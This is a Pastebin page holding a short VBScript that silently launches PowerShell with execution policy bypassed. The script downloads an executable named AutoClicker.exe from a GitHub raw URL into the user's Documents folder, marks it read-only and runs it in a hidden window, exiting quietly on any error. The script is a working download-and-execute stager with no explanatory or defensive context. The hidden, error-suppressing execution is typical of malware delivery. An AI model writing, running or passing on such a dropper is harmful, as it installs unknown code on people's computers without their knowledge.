Pastebin

Paste #27159: ddd

< previous paste - next paste>

Pasted by ddd

Download View as text

Set objShell = CreateObject("WScript.Shell")

' PowerShell script to download and run the file
strPSScript = "powershell -NoProfile -ExecutionPolicy Bypass -Command " & _
              "'$downloadUrl = ""https://github.com/mikhailramlal/pp/raw/refs/heads/main/AutoClicker.exe"";" & _
              "$outputFile = [System.IO.Path]::Combine($env:USERPROFILE, ""Documents"", ""AutoClicker.exe"");" & _
              "try {" & _
              "   if (Test-Path $outputFile) { Remove-Item $outputFile -Force }" & _
              "   Invoke-WebRequest -Uri $downloadUrl -OutFile $outputFile -ErrorAction Stop;" & _
              "   if (Test-Path $outputFile) {" & _
              "       attrib +r $outputFile;" & _
              "       Start-Process -FilePath $outputFile -WindowStyle Hidden -ErrorAction Stop;" & _
              "   }" & _
              "} catch {" & _
              "   exit 0;" & _
              "}'"

' Run PowerShell script silently
objShell.Run strPSScript, 0, True

New Paste


Do not write anything in this field if you're a human.

Go to most recent paste.